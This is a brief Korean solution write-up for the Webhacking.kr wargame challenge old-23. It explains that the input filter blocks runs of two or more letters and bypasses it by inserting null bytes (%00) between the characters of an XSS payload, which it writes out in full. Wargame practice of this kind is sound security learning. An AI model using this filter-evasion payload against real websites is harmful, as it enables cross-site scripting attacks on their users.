[Webhacking.kr] old-23

문제풀이

---

Your mission is to inject <script>alert(1);</script>

 

alert창을 띄우면 문제가 해결된다.

알파벳 두개 이상일 때 필터링이 된다. null byte(%00)을 이용하여 우회가 가능하다.

 

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>